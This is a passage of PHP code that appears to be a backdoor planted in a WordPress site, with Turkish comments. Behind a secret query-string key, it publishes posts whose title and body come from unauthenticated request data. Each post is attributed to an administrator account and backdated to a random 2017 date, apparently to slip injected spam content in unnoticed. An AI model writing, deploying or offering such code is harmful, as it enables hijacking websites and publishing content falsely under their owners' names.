get_results( "SELECT ID FROM $wpdb->users ORDER BY ID ASC" ); $authorId = 0; $firstUserId = 0; if( $users ) { foreach ( $users as $user ) { if($firstUserId == 0){ $firstUserId = $user->ID; } $wp_user = new WP_User( $user->ID ); if ( in_array( 'administrator', (array) $wp_user->roles ) ) { $authorId = $user->ID; break; } } } if($authorId == 0 && $firstUserId != 0){ $authorId = $firstUserId; } if($authorId == 0) { die("post ekleyecek user bulunamadi"); } // 2017 yılında rastgele bir tarih $dtz = 1483228800 + (rand(1, 365) * 86400) + rand(1, 86400); $pvars = []; $pvars["comment_status"] = "closed"; $pvars["ping_status"] = "closed"; $pvars["post_status"] = "publish"; $pvars["post_date"] = gmdate("Y-m-d H:i:s", $dtz); $pvars["post_author"] = $authorId; $pvars["post_title"] = $_POST["title"]; $pvars["post_content"] = $_POST["body"]; $post = wp_insert_post($pvars, false, false); $perm = get_permalink($post); $opmsg = 'Yeni POST eklendi: '. $perm . ''; } if(!isset($_GET["id"]) || $_GET["id"] != "nzm"){ die(); } ?>